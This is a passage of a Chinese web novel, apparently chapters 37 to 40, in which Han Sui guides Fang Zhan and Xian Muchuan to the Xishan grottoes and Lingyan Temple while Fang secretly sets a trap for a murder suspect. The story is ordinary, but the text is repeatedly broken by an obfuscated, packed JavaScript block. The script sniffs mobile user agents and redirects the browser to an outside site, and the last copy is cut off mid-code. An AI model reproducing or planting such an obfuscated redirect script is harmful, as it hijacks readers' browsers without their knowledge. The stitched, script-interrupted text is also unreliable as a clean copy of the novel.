;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126720|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答,有一人不满叫嚷起来:“哎哎哎,谁欺负谁啊,没看见他要放狗咬我吗?” 韩穗扒在墙头上定睛一看,这不是那皇亲国戚冼家七公子么? 小童忙告状道:“韩姐姐,我亲眼看到他俩翻你家的墙,这才让大黄赶他们的!他们肯定是小偷!” “翻我家墙干嘛?”韩穗不可置信地质问起冼牧川。 后者只面露一瞬的慌乱,旋即理直气壮道:“我就是想进去叫你起床,你也不看看这都什么时辰了,忘了陪同钦官御史大人去西山游赏石窟的差事了吗?你要是一觉睡到下午去,耽误了大事,能担得起吗你?” “那你像个正常人一样从正门进来不好吗?” “进去不也是等么,你少废话,赶紧收拾收拾出发,让本公子等急了有你好看!”冼牧川没好气地甩开洒金折扇,大冬天的扇着风,像个恶少一般大摇大摆走了。 韩穗转面对李老二道:“乖,带着大黄先回家去,那俩人姐姐认识,并非坏人,不过我回头一定找你娘夸你做的好。” 听了最后一句话,小童开心牵着大狗回家去了,临走前还不忘冲冼牧川离去的方向做了个鬼脸。 韩穗瘪着嘴回屋,一推门便看见先秀满面春风地迎上来,臂弯里搭着那件为回京过年新做的藤紫色杏林春燕暗纹长袄。她笑吟吟道:“姑娘今日就穿它罢,再搭那件松石绿的云水江波襕裙,如此清新又不失艳丽。” “别糟践好衣裳了,”韩穗毫不留情地拒绝道,“西郊石窟你又不是没去过,一路走的尽是山路土路,穿这些去不合适。” 先秀小声嘟囔:“可是方大人今日也会去……” “那又如何,我难道是那种因为别人就改变自己应做之事的人?”韩穗冷冷越过那堆锦绣衣裳,兀自走进内间,从一个大衣箱中找出从前去石窟惯穿的旧布袄裙。 先秀见状也只好相从,为她简单挽了个利落高髻,又将盛放水囊、纸笔等工具的挎包备好。 韩穗瞧了眼刻漏,估摸着外头的人已经等得够久了,去厨房找榆娘包了几张烧饼,这才算整装出发。 从出现在墙头上,到走出韩家大门,韩穗只用了一刻钟。 对此,冼牧川甚是满意,心里想着算她识趣,吹起口哨,邀她登车。然而韩穗对他身后那辆雕饰华丽的马车未看一眼,以同乘不合礼教为由,礼貌拒绝,径自走向停在胡同口的自家马车。 上车后,她向赶车的华叔交待了出城路径,方合上车门堪堪坐定,便听见外头响起一个令她眼皮一跳的声音。 伴随华叔吞吞吐吐的答话声,她冷脸推开车门,只见方湛亦是一脸冰冷凝重,肃立在车辕旁侧静看着她。 华叔扭头为难道:“姑娘,方大人想与您一同坐这辆车……” 不等韩家主仆二人有个商量的来回,方湛仗着人高腿长,一步跨上车辕,不由分说地俯身进入车内。 38. 西山石窟(三) 方湛坐定于韩穗对面,一双如曜朗目毫不避讳地看向那张因惊讶而微微出神的女子面容,一颗等闲不会动摇的心,突然陷入纠结之中。 他似乎应该开口,及时叫停这次的西山游窟之行,更确切地说,是西山冒险之行——游窟只是幌子,实则是他拿出城的自己做诱饵,以引出藏匿于西山附近的张金龙。 昨日他已将消息放出,猜测府衙“内鬼或许会设法将其行踪传出城外。被打草惊到的蛇暗藏进阴沟下,在赶尽杀绝的恐骇中,焉知其不会冒险跳出反扑,龇出毒牙一口咬死那打蛇之人。 他早已习惯了执子,深知谋局之重在于时机,杀伐果断的背后往往是取舍,然而令他始料未及的是,韩穗再一次意外出现在他面前的棋盘之中。 于是他生出了弱者才有的举棋不定。 初到云州的那个雪夜,他为了撕开在陌生地界的查案局面,已冒险拿她做局一次,后虽尽力守护,但她终究还是因此涉险受伤。若在他冰冷的理智之外还尚存些冲动,那么今日他便不该再一次任由她陷入未知的风险中。 清晨的喜鹊在四方胡同口的大树上喳喳乱叫,叫声清晰传入车内,忽然惊起韩穗心中的机警,只觉对面那男人盯看她的时间未免有些太久了吧! 这人放着豪华舒适的马车不坐,跑来硬挤韩家的简朴小车,怕不是又在搞什么幺蛾子。她方想开口探探,对面青年却蓦地收回视线,垂目片刻,对车外沉声道:“劳驾了,启程。” 车行以后,方湛再次陷入沉默,眉宇间凝蹙起令人避退的冷肃,然而韩穗却再也憋不住了,双臂一抱,泠冷开口问道:“方大人好雅兴,大冬天的居然想到去西郊游玩,不知刘百盛的命案查得如何了,凶手抓到没,被扣押在府衙的无辜者的嫌疑洗脱没?” 此问一出,方湛一脸的凝重霎时消散,他亦缓缓抱臂于胸前,似笑非笑地瞧着韩穗:“我还没问你呢,来云州这么久,我倒是不知韩姑娘对西山石窟熟悉到都可以当向导了?” 他微微向前倾身,不紧不慢道:“听说云州西山地势复杂,韩姑娘光靠在书房内看一本《云石游志》可不够,毕竟我还清楚记得,你在紫金山时连东西南北都分不清。” 韩穗回视,只见那张清俊面容又恢复了重逢后他面对她时惯有的神情——那是一种好整以暇的作对、若有似无的寻衅。 不过此话却让她想起一段足够让她半夜挠墙的回忆。四年前在书院时,她与方湛一同踏青紫金山,彼时暗恋身侧如玉少年的她,为了得到特别的照顾,一度装作不辨方向的傻白甜。 过去之事固然令人羞耻,但眼下的回击更不能失力度,她不慌不忙道:“人总是会长进的,托方大人的福,如今的我不仅能分得清方向,还能识别人心,尤其是那种拿着虚假身份骗人真心的伪君子。” 她骂的正是方湛当年隐瞒亲王之侄身份、虚编悲惨身世一事。可方湛却对其中的讽刺之意置若罔闻,只若有所感道:“骗取真心?只可惜这真心最后变成了背信弃诺的狠心。” 韩穗兀地身姿一凝,似被人一刀捅进了心虚之处,唇枪舌战的功力尽然丧失。 方湛看穿她的不自然,松垮垮往身后一倚,嘴边浮笑道:“不过你说的那个伪君子,碰巧我也认识,但你错怪他了,他可不是什么伪君子,乃是真小人。” 这番毫不留情又不失准确的自我贬低,倒是给了韩穗一个台阶,她甚至因这话忍不住冷笑出了声,随即这冷笑又演变为两人心照不宣的对笑,顿时车内那股莫名的剑拔弩张之势也四散开来。 笑过后,韩穗想起此行的正事,她从挎包中取出一张羊皮纸递给方湛:“此前我常入西山找石窟拓描壁画,一开始是找附近山民当向导引路,次数多了,路线也就都认得了,后为方便进山,便将云州西山地形绘记下来制成此图。方大人放心好了,本姑娘不至于带着你们在山中迷失方向。” 方湛接过图纸,只见图中不光山形描绘细致,一岭一峰皆有名称,就连周围的村落位置分布也标了指示。只是上头几处绘有一个个小方块,他甚为不解,便问是何意。 “小方块代表石窟所在的位置,”韩穗解释道,“我每到一处石窟便将其位置标在图上。” 方湛看着图中密密麻麻的方块,不禁有些讶异佩服:“也就是说,这些石窟你全部都去过?” “也不全是,有的石窟毕竟历经百年,年久失修,恐有坍塌风险,我便不敢进去。” 她突然想起什么,凑将上前,指着图上一处标记为“榆水坡”的地方道:“还有这里,在榆水坡东侧的山坳地带有一处石窟群,但我师……但我从未去过。” 方湛并未对她的“口误”有所怀疑,只因其注意力全在榆水坡西侧的“银矿”二字上。“此处就是西山银矿?”他指问道。 “对,榆水坡石窟群与银矿一岭之隔,因而也被矿区驻军圈入了矿采禁区,附近设有禁障,寻常人不得涉足,我便没机会进入此地。” 再后来,矿难发生,死了好些人,银矿关闭后驻军撤离,但那附近却被百姓传说冤魂闹鬼,韩穗自然也不敢靠近。 这一原因她却闭口未提,怕方湛听了定会取笑自己,说什么“子不语怪力乱神”。 “探寻这么多的石窟,定然很辛苦吧,”方湛用手指拂过那一个个小方块,忽然抬眼问道,“倒让我好奇,韩姑娘如此不辞劳苦地走遍西山石窟,究竟为了什么?” 韩穗面不改色道:“我在上京有个堂姐,待我极好,她笃信佛法,又痴迷释道画,可惜她身体不好出不了远门,我便想着进山拓下石窟壁画,日后回京好带给她慢慢赏看。” 方湛眼神似有狐疑,但也未再深究,低头继续去看手中地图。他用手指划过银矿的位置,一路往南,落到一处绘在山脚下的楼阁上。那楼阁旁侧标有“灵岩寺”三字,而从灵岩寺再往南,便是一个名叫“白洞村”的村落。 韩穗见他手指所停之处,便道:“这里正是白洞村的位置,之前你我找莫云斋许老板询间‘黄不老’毒性时,他说过,云州境内要想买到‘黄不老’生粉,大概只有位于白洞村的马记颜料坊。” “所以,这就是我们今日出城的第一站。”韩穗说完,便感受到来自身侧人意外的目光,她淡淡一笑,问道:“方大人不也是这么想的么?” “你又如何知道我是怎么想的。”方湛不置可否地哼笑一声。 “别以为我对大人您的一举一动就是两眼一抹黑,我可知道,大人这两日虽大张旗鼓地满城抓凶手,看似已破案,实则对凶手杀人手法疑点重重,这其一便是,用于毒害刘百盛的‘黄不老’生粉,究竟从何而来?” “不错,这‘其一’被你说中了,那‘其二’呢?”方湛饶有趣味地问道。 “其二,你要抓的那个张金龙,我此前有所耳闻,此人莽夫一枚,日常也惯会耍狠吃酒,若说他当街一刀砍死了人我信,但要说他晓得用连我都不清楚的颜料毒性杀人,便有些令人生疑了,更不用说还要想出利用车夫制造马车意外这种精准环节。” 这一通保侃分析后,她不自觉循着思绪越说越多:“因而我怀疑,这起命案的凶手并非张金龙一人,应该还有一个在背后出主意的角色。” 刘百盛命案事关品兰,所以韩立煜格外关注此案进展,一有情况就会回家告诉女儿,是以韩穗对此案了如指掌,稍微一分析便能想到查案遇到了什么难解之处。 这倒与方湛所想不谋而合,他半真半假地夸道:“不愧是淮山先生唯一的女学生,真把州府里那帮吃皇粮的比下去了。” “少来捧杀这一套,”韩穗油盐不进,“游赏石窟事小,抓紧把案子搞个水落石出,早日将品兰还给我才最重要。” —— 一行人抵达白洞村时,日头已上中天。 为避免人多打眼,方湛只带了韩穗同行,其余人在村口等候。二人一路走一路问,很快便在村民的指引下找到马记颜料坊所在。 说是铺坊,实则就是一所农家院门口挂了个“马记”的 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“啊,还有这事!”韩穗的不可置信越发激起坊主人的诉说之欲。 “前些日子,有一人找到我这儿来,说是为他家老爷专程采买作画颜料,他想买魏红,我便告诉他这颜色惯用在壁画上,没人用在绢纸上,嘿,那人就跟我犟起来,说那是因为对‘黄不老’生粉没处理好!”马师傅现在回想起来还觉得不服。 “难道他能处理好?”韩穗适时提问。 “说得就是啊,我也这么问了,他竟大言不惭,称他家老爷会处理,我想问怎么个处理法他也不说,最后只买了五钱生粉,要带回去自制颜料。” 韩穗默默看了眼方湛,有些拿不准再如何往下续话。 “竟有此事?”方湛兴趣十足地接过话题,“魏红色泽妍丽又不失雅致,若真有法子固色于绢纸上,定然大有销路,这可是生财之机。马师傅可知那日购买生粉之人是哪家的,我等好上门讨教一番。” “我何曾没问,”坊主不悦道,“奈何人家守口如瓶啊,愣没告诉我打哪儿来、主家是谁。” 方湛怎会放弃,让坊主仔细回想那人有何特别之处。 “感觉也没什么特别的,就是个与我年岁差不多的男人,留一字胡,长相普通……”马师傅说着说着,倒还真想起来一点:“那人说话似是南方口音,还老把‘很’说成‘浑’,也不知是哪里人,奇怪哩!” “把‘很’说成‘浑’?”韩穗念念有词,“莫非是湖州人?我的祖父母就是湖州籍,尤其是我祖母官话说得不好,乡音很重,正是这样发音。” “若真如此,那找人便简单了,”马师傅道,“来云州客居的南方人本就不多,具体到湖州籍,想来更是没几个,略一打听就能知道。” 韩穗一霎间似是想到了什么,张了张嘴,最终却又闭口不言。 之后方湛又不着痕迹地打听了些事情,聊得差不多后,叫“夫人”挑了几样颜料,付过钱便告辞离去。 返回的路上,二人并肩穿过碎石子铺就的村道,不疾不徐地往回走着。 快到村口之时,方湛突然对一路无话的韩穗问道:“方才在颜料坊听说那人是湖州口音时,我看你好像想到了什么,却没有说出口,现在你能告诉我了吗?” 身侧人良久无声,他低眸偷看了眼那张似有为难的莹润小脸,用玩笑的语气道:“不愿开口,那就让我猜猜,说起居于云州的湖州人,韩姑娘恰好认识一位,你是不是在怀疑……” “我没有在怀疑什么,”韩穗打断道,“徐叔父是湖州人不假,但他官话与云州话都说得很好,定不是他。” 可她这一路纠结的,却是另外一人——徐府管家曹叔。曹叔是徐醇风从湖州一起带来的,无论是口音还是长相,都与那坊主的描述极度吻合。 可若说曹叔利用毒物杀人,她一百个不信。再说了,他一个宅门内的管家,为何要与张金龙同谋,去杀刘百盛呢? 她想去细想,可又不敢再细想。 39. 灵岩寺 走出白洞村,韩穗远远便瞧见官道旁停放着两辆外貌对比鲜明的马车。 一辆朱漆金绘、翠幄珠缨,另一辆平顶青帷,再简朴不过。而华叔就站在那辆相形见绌的马车前,正焦急地朝村口的方向张望寻觅。 韩穗一面朝华叔挥手一面快步上前,故作轻松地说:“事儿办完了,咱们可以继续上路了。” 她对追跟上来的方湛道:“接下来顺着此道继续往南,便可抵达云州规模最大的佛殿石窟群,对于普通人来说,这些石窟大同小异,全看完没必要,今日咱们就择几个最值得一看的,也不至于太劳苦。” 这些都是最便宜的实话,听起来很为上京来的两位贵人考虑,实则如此赶时间,却也暗藏着她心中的小九九。 “等等等等!”不知何时,冼牧川已从那辆宝盖锦幔的马车上钻了出来,他一脸不满地指向头顶上方的日头:“这都什么时辰了,不用吃午饭的吗?你们都不饿吗?” “冼公子没带口粮?我带烧饼了,分你一个也成。”说着,韩穗就往挎包里摸。 “烧饼?”冼牧川不敢相信自己的耳朵,“大小姐,咱们这是郊游,不是发配啊!” “吃烧饼怎么了?”韩穗欲要跟眼前的皇亲国戚普及进山带烧饼的好处,却被华叔及时打断。 他笑着打圆场:“小姐,您忘了,不远处就是灵岩寺啊,灵岩寺本身就是在建在佛殿石窟上的,也值得一看,并且寺中香火灵验,斋饭更是远近闻名,不如先带二位大人前往寺庙礼佛用斋,稍作休息,再往山中游窟也不迟。” 韩穗一听急了:“那岂不是要耽搁很久,我还想……”她摁下心中呼之欲出的小算计,随便找了个借口:“冬日天短,理应趁天黑前进山多看几个石窟嘛。” 华叔晓得自家姑娘轴劲儿又上来了,他看了眼冼牧川不妙的脸色,忙对韩穗开解道:“小姐莫急,两位大人平日里案牍劳形,好不容易出游一次还该以舒适为主,能看几个石窟不打紧,反正都是散心嘛。” 韩穗瞥了眼鼻子快翘上天的冼牧川,心道这货确实是不能吃苦,只好妥协应下,跟随众人驱车前往灵岩寺。 云州寺庙佛塔众多,其中数灵岩寺渊源最久。 传闻两百年前,某朝公主为病体缠身的母亲祈福,特命人在此处开凿佛窟供养。佛寺建造好后,公主日日跪拜念经,久而久之,竟将跪坐之处的石砖磨出两个凹陷。许是公主孝心感动神佛,不久后其母果真康健如初,而灵岩寺也成了达官百姓为亲人祈求安康最为灵验的圣地。 一行人入寺第一件事,自然是上香祈拜。就连平时对神佛之事不甚上心的方湛,也在佛像前跪拜祈念了一会儿。 韩穗更不用说,双手合十,在心中由近及远地为家中所有人祝祷了一番。本以为自己是最啰嗦的一个,睁眼一瞧,与她相隔三个蒲团的那位冼公子,竟还在念念有词,看来所求甚多。 祈拜结束后,立刻有一小知僧上前施礼,道是今日寺中恰有药师忏法会,若有时间可去持诵经典,为亲人消业障。 韩穗因心中的筹划,只怕时间不够,不禁面露犹豫,哪知冼牧川当即应下,带着小厮昌乐就要前去。她抬眼看方湛,见他正对自己点头:“你也去吧,我去找人安排斋饭。” 就这样,一行人分作两头行动。 待韩穗等人走后,方湛不再停留,信步转到殿后。 方才甫一进殿,他就瞥见一个熟悉身影,正是与他提前约定好在此等候的裘明。 二人接头后,裘明立即抱拳禀道:“玄英卫十二人业已就位,随时听从大人调遣,此行必襄助大人擒获贼人!” 方湛略一颔首,示意其随自己穿出后殿,来到庭院之中。 裘明有些没底地问道:“大人,一会儿张金龙那厮果真会出现么?” “我也说不好,”方湛一面走一面环视寺庙地形,“人心总是不可捉摸,若他真如传说中那般鲁莽暴戾,就不会放过本官这次出游的机会,直接刺杀了我,如此他们在云州做下的事也就能一了百了了。” 裘明听后面色沉凝郑重:“大人放心,有我玄英卫暗中随行,定护大人周全!只是……”他不解问道:“怎么韩小姐也来了?” “一言难尽,”方湛收敛此前冷厉的眼神,无奈道,“一会儿我会设法让她与冼少监留在寺中,你留二人保护他们。” 此间话了,不远处恰好有一僧人路过,方湛便上前打听何处可用斋饭,僧人扬手指向不远处建于崖壁之上的三层楼宇,称中间那层就是专为寺外贵人提供的斋堂寮舍。 根据僧人的指示,方湛与裘明又穿过一道院门,朝那座悬空楼阁走去。 快到崖壁跟前时,裘明突然凑近低声道:“大人,身后有人跟踪。” “这么快就来了。”方湛冷笑,却突然神色一变:“韩小姐那边……” “大人放心,韩小姐与冼少监那边我已派人暗中随护。” 方湛这才恢复一贯的淡然,迈步登上那通往悬空楼阁的陡峭石阶。 石阶狭窄,堪堪容两人并行,再加上居高临下的地形优势,裘明很快就在身后一众善男信女中识别出跟踪之人来,可那人却不是张金龙。 二人继续上行,至一处木砌高台时,方湛忽然停步,凭栏远望。而跟踪者见状亦落后在不远处,装作回身等人,不再前行。 没了被人偷听的顾虑,裘明问道:“依大人之见,跟踪之人是谁派来的?张金龙还是徐醇风?” 方湛将整个寺庙尽收眼底:“如今看来,差别不大。方才在马记颜料坊,那坊主称前几日有一湖州口音男子去买过‘黄不老’生粉,我猜正是徐醇风家中那位姓曹的管家。” 随后韩穗的异常表现让他更加确认了自己的猜测。他大胆推断:“原先我还疑惑,张金龙一介武夫,如何能知晓一味制作颜料的生粉有毒,还能利用其毒性特点设下人不知鬼不觉的杀人之局,若这法子是精通书画之道的徐醇风提供,那一切就说得通了。” “可徐醇风为何要帮助张金龙除掉刘百盛呢?”裘明不解。 他深吸一口山谷清气,淡淡道:“这仨人能凑到一块去,定然与上京那位田内官脱不了干系。刘百盛不用说,靠攀上田青从乡间地痞一跃成为一方富商,这是云州人尽皆知的故事。张金龙的来历,你的人也已查清,原是你们玄衣卫一名犯了事的百户,被田青从死牢中捞出收用,连自己的妻儿都能送到田的老家定州去做人质,显然是忠仆死士。” “若罪吏尤谨所言不虚,张金龙欲借民乱之机杀了县令与他,随后又毒害刘百盛,动机很可能就是要将知晓田青在云州罪行的人一一灭口。” “至于咱们的徐大人......” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160558|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方湛顿了顿,不知想到什么,哼笑一声:“他算是勾起了本官的好奇心,这老头葫芦里到底卖的什么药?” “大人,属下斗胆揣测,徐通判会不会也是田内官的人,而他帮张金龙除去刘百盛,正是因为田内官的授意?”裘明问道。 方湛回身,继续踏着又陡又窄的石阶稳稳向上,话音却似轻轻飘下:“若真如此,那圣上担忧之事可就成真了,内廷外廷勾结私吞属于内库的银两,田家徐家的九族,怕是命不保矣!” 裘明面色一凛,追跟上去。 又行进了一会儿,脚下石阶在遇到一处岩壁后,旋即掉头变为了木梯。二人登阶而上,在栈道的尽头出现一座玲珑殿堂,这便是悬空楼宇的第一层。 方湛迈上栈台,近前才发现,此殿内部竟是一处佛窟,门匾上书“三圣殿”大字。于是因为正值用斋时辰,此处冷清安静,不见一人参拜。 他瞧着空荡荡的殿内,忽然计上心来。 — 距悬空楼台不远处,在举行法会的大雄宝殿之中,韩穗正跪坐在一众僧俗的最外围,虔诚持诵《药师经》。 原本依着她性子,既然说好此行是为游览石窟,出城后就该直捣目的地,带着那几位八成看不出好歹的“粗人”,走马观花游几个洞窟就算完事,哪知一个两个的节外生出这么多枝条来。 然而为人子女,祈愿尊亲身体康健,此乃天经地义之事。既遇法会,为着父亲身体的缘故,她还是心甘情愿来此拜诵。 诵经间歇,韩穗扫了眼跪坐在斜前方的冼牧川,只见他身形凝定,垂首虔敬,全无平日举止浮躁的痕迹,想来这位看上去不着调的公子哥,内里也有一颗敬孝父母之心。 又过了不到一炷香的时间,法坛钟声敲响,意味着这日的会场已到尾声。众人窸窸窣窣离场,韩穗亦敛衽起身,正打算出殿,却见冼牧川走到一侧去找僧人说什么去了。 他的小厮昌乐过来,面带歉意道:“禀姑娘,我家二爷想要请一盏祈福莲灯,还望姑娘能稍等片刻。” 不知何时起,灵岩寺祈福灯之灵验都传到了上京城,韩穗不仅为父亲请过,还被大伯母委以重任,给多年无有所出的堂姐请过。 因而她对此表示理解:“无妨,我等他便是。”随后默默退到殿内一角等待。 等人无聊,她便往冼牧川的身影处望去,这才留意到,他今日竟一改往日浮夸的穿衣风格,只着低调素衣,可以想见他来此佛寺圣地还是怀着一颗虔敬之心的。 许是因此细节,她忽然对传闻中“混世魔王”冼二爷有了些改观。不由联想到之前自己冒失扯坏其衣袖之事,虽然对方后来不知为何缘故假装失忆,但毕竟是她的过错,理应借此机会好好赔个不是。 等冼牧川请好莲灯返回,原本肃穆凝重的神情,在瞧见韩穗后即又恢复了原先那种玩世不恭的不屑。 韩穗选择无视,仍旧主动上前,提起那日鹊英大街上的械斗,又为自己在慌乱中致使其衣袖破损郑重道歉。 赔罪的话说完,那头却一声不吭。她不禁抬首,却见对方一双桃花美目正定定斜睨着自己,那眼神绝非戏挑或是什么,更像一种高高在上的审视。 就在她以为冼牧川又要像父亲所说那样,假装此事从未发生,忽听得他向身边小厮幽幽问道:“你说明渊兄到底看上了她什么啊?” 40. 榆水坡(一) 韩穗决定,此生再也不随便对他人有所改观了。 且不说她发自内心的诚挚道歉,竟只换来对方一句冒犯发问,随后抵达斋堂用饭的场景,更是让她见识了什么叫故我依然。 灵岩寺的斋饭与别处的一粥一菜相比,已经精致不少,每人豆油烙饼一厚角、清粥一碗、豆干丝一碟,还有一碗寒冬腊月里难得的青笋干煨冬菇面筋。 但这规格显然不符合冼小爷的身份。众人坐定后,昌乐不知从哪儿变出一摞食盒,从里头拣出八个素制小菜来,一一摆至冼牧川面前,又撤去寺庙的竹筷和粗瓷碗,改换成自带的镶银红箸与天青釉碗碟。 这一番操作看得韩穗目瞪口呆。 冼牧川用澡豆净了手,接过昌乐递来的柔棉手巾,边擦手边热情招呼道:“一起吃,不必客气。” 她懒怠理睬,只默默吃起自己眼前的那份餐食。 饭毕,有僧人上茶。韩穗瞧着倚在榻上用热巾敷脸的冼公子,暗暗叹了口气。 她能应下这次做游窟向导的苦差事,不光是因为自己得罪冼牧川理亏在先,也有想趁此人多的机会去趟榆水坡的私心。 榆水坡石窟群是《云石游志》的遗憾——她与闻觉大师接力三年,几乎走遍云州西山石窟,唯独此处未抵,落到书上,便只有寥寥数字,再无其他细述。 是年秋,有友人自远方而来,本想结伴前去榆水坡石窟瞻看,却被父亲以矿难后附近山体不稳为由拦下。 如今银矿禁障不复存在,矿难也休止已久,虽则闹鬼之闻传得凶,但今日毕竟多了四个人,若能一同前往给自己壮胆,岂不弥补勘览榆水坡石窟的遗憾? 然而旦看眼前冼某人的状态,大有先睡个长午觉的架势,勘窟时间够不够另说,只怕告诉他要去的地方隐于深山还闹过鬼,他得有一万个不愿意。 韩穗正琢磨如何将人引去榆水坡,那边冼牧川突然一把撤去热巾,从榻上一跃而起,别说睡意了,堪称精神抖擞:“接下来如何安排?我看也别去那劳什子山洞了,好不容易出城,不如进山冬猎吧!” 他兴致勃勃地对正在吃茶的方湛道:“我听人说了,云州西山有个老鸦岭,可是冬猎的好去处。猎具我都带了,一应俱全,此行本公子最好猎只野猪,回头也能在我那几个哥哥面前长长脸!” 冼牧川的想入非非叫韩穗差点坐不住:“说好了出城是为游窟,怎么又改成冬猎了,我可不是冬猎的向导!” “你可真够呆的,”冼牧川嘲笑道,“不是说西山遍布石窟么,路上遇到了进去瞧瞧就是。” 韩穗气结,但她人微言轻,一时也想不出阻拦他的法子,无奈之际,耳边响起方湛冷肃的声音。 “眼下云州数案未破,你还有心思进山冬猎?传出去,我等巡管官威何在,圣上与贵妃那里你又作何交代?” 冼牧川方要反驳,忽有僧人前来求见。原是出家人也惯会行事,见有贵客,主动提出带他们去灵岩寺后山的佛窟转看。方湛作为一行之首,当即应下。 “瞧,这不就看上石窟了么,真是个呆大姐儿!”冼牧川对韩穗做了个鬼脸,大摇大摆随僧人走出门去,留后者又气又好笑地立在原地。 “你多担待,”方湛步至她身侧,“冼牧川自小生长在金玉堆中,难免有些排场,性情乖戾些,实则本质不坏。” “本质不坏?”韩穗疑心自己听错了,但转念一想,他二人俱是赫赫高门贵公子,可谓“狼狈为奸”,为彼此说话再正常不过。 于是她没了争论的欲望,紧抿着嘴,也出门而去。 韩穗不想与冼牧川为伍,故意稍稍落后,而方湛则缓缓伴行在侧。过得一会儿,他开口道:“冼牧川的母亲文英候夫人,身患顽疾多年,却寻遍名医无方。他表面没心没肺,实则为母亲的事多有苦闷伤怀,这些年他不光为母寻医,也拜遍了寺庙道观,今日执意来灵岩寺,也是为母祈灯。” 母亲重病不愈的阴霾,韩穗也曾被深笼其中,然而她并不买账:“敬爱父母,本就是人之伦常,他为母忧心只能说明不枉为人罢了。这些可不是他行事散漫、目中无人、恣意妄为的缘由。” 一番话说得方湛无言以对,沉默片刻,他悠悠道:“越是看似身上带刺的那种人,实则越好接近,而对于行事无矩者,也并非毫无办法约束。” 韩穗有些听不懂其中之意,停步转面,只见身侧青年唇角一弯:“我倒是有个法子,保准帮你管制住他。” …… 灵岩寺背山而建,众人随僧人穿过重重院门,来到崖底,循一道盘桓崎岖山路而上。 不知攀登了多少石阶,就在大家开始额冒热汗、口喘粗气之时,前方忽然出现一处豁然开朗的平地。平地数丈之外,有山体赫然矗立,似被斧削刀砍过的崖面上,错落有致地分布着大大小小、或方或长的洞窟,远远看去,壮观非常。 一时间,就连先前对石窟浑不在意的冼牧川都被摄住目光,不由发出一声惊叹。 韩穗不忘向导职责,不及喘匀气息,便开始念念有词:“灵岩寺石窟,云州西山石窟中规模较大者,洞窟共有三十三个,佛龛一百二十七个,佛像七十八尊。” 冼牧川眯着眼睛问道:“还有零有整的,你又是从何得知的?” “看书。”韩穗随口一扯。 冼牧川像听到了什么笑话:“看书就看书,你背这些又是为何,说你呆还真呆!” “自然是为了朋友,”韩穗不动声色,“今年春,我有一位四处游历的好友来云州找我,就想一睹云州石窟,为了尽好地主之谊,我便将《云石游志》全部背了下来。” “你的朋友?八成跟你一样古怪。”冼牧川面露不屑,接过昌乐奉上的水囊,对嘴就喝。 “怪不怪我不知道,不过她是才貌双全的大美人,当年可是上京红英楼风头无二的花魁,说不定冼公子还听过她的名字——楚因因。” 这三个字一出,冼牧川兀地呛了口水,却也顾不上咳嗽,急问道:“楚、楚因因?” 楚因因是上京名声极盛的清倌歌姬,曾在一次王府雅宴上凭一曲歌喉声动四方,诗画献艺更是博得座上宾客尽赞。自那起,楚因因名声大嗓,追随者无数。可风头正盛时,她却忽然销声匿迹,为自己赎身外出游历去了,叫那些砸钱只为一面相见的良人们好不失落伤心。 冼牧川也是其一。他一改此前眼高于顶的态度,倏地凑到韩穗身边,嘻皮涎脸道:“楚因因竟是你的朋友?我倒真听说她曾来过云州,快跟我说说,她在云州都去哪儿了,做什么了?” 情势突然发生了两极反转,这下轮到韩穗拿乔了,她故意不答,觑了眼在一旁看戏的方湛,二人会心一笑,便往石窟走去。 刚迈出几步,身后忽有人急切叫道:“大人留步!”众人回首,旦见一人正从山下疾步追来,仔细一看,却是裘明。 方湛借口有公事,让僧人带其他人先行,自己则走下平台,去迎来人。 裘明一路狂奔上山,即便习武也难免喘息,不过这丝毫不影响他的兴奋:“大人用计如神,那厮偷听了咱们的话,果真溜去了榆水坡,属下一路尾随,等他进了山洞,当场将人捉拿,此刻就绑在那洞中,由两个兄弟看押。” 裘明口中的“那厮”,正是在灵岩寺跟踪他们之人。 —— 一个时辰前。 方湛登上悬空阁的第一层,走进那间空无一人的洞窟殿,忽然心生一计。 对玄英卫来说,擒住一个跟踪的小喽啰不费吹灰之力,但方湛的习惯,却是要榨干对手所有的可利用之处。 几日前,罪吏尤谨在暗狱中吐露了张金龙杀他的真正原因。 早在开矿之初,矿区驻军因一处临近坟场的路卡闹鬼,便将此处守职甩给了叶阳县县衙。而张金龙则趁机买通了参与轮守的胥吏尤谨,叫他在值守那日偷偷为其放行。 对此深夜偷入银矿禁地的反常行径,张金龙声称是为了运出炼银灰渣——这种经由“灰吹法”提炼纯银剩下的灰渣,即一种名叫密陀僧的药材,入药治刀伤疮伤有奇效。走江湖者时有挂彩,镖局使些门道搜罗此贵重药材倒也正常,再加上尤谨收了封口费,自然不会多问什么。 然而有一晚,张金龙如常引着两个抬木箱的大汉从矿区走出,将木箱装上骡车时,箱盖震动,从里头掉出个亮闪闪的小东西来。这一细节抬箱人不曾察觉,却叫不远处的尤谨看了个正着。 他不动声色,等骡车驮着人与箱走远后,举着油灯在附近地上摸摸索索,最终找到那掉落的东西,凑亮仔细一看,竟是一块小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 